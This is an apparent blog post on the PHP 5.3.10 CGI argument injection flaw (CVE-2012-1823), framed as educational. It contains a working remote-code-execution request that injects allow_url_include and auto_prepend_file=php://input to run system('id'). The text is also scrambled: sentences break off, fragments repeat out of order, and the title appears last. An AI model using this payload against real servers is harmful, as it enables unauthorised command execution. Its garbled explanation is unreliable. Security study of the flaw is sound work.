Php 5.3.10 Exploit -

While this specific vector is mostly extinct in modern cloud infrastructure, it lives on in embedded systems and legacy internal networks. If you find this during a penetration test, you have effectively found a "Golden Ticket" to execute system commands.

/usr/bin/php-cgi -s Because there is no script specified, PHP defaults to showing the source code of the standard input (the HTTP body). By sending a request with ? and -s , the attacker effectively turns the server into a file reader. php 5.3.10 exploit

When PHP is run in CGI mode (using php-cgi ), the web server passes request data to the PHP binary via command-line arguments. Normally, a request to index.php translates to: While this specific vector is mostly extinct in

POST /?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: vulnerable.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 <?php system('id'); ?> By sending a request with

This post is written from a security researcher / educational perspective. It explains the "CGI Argument Injection" vulnerability (CVE-2012-1823), which is the most critical exploit associated with this specific version. Title: Revisiting the Ghost of PHP 5.3.10: The CGI Argument Injection Exploit (CVE-2012-1823)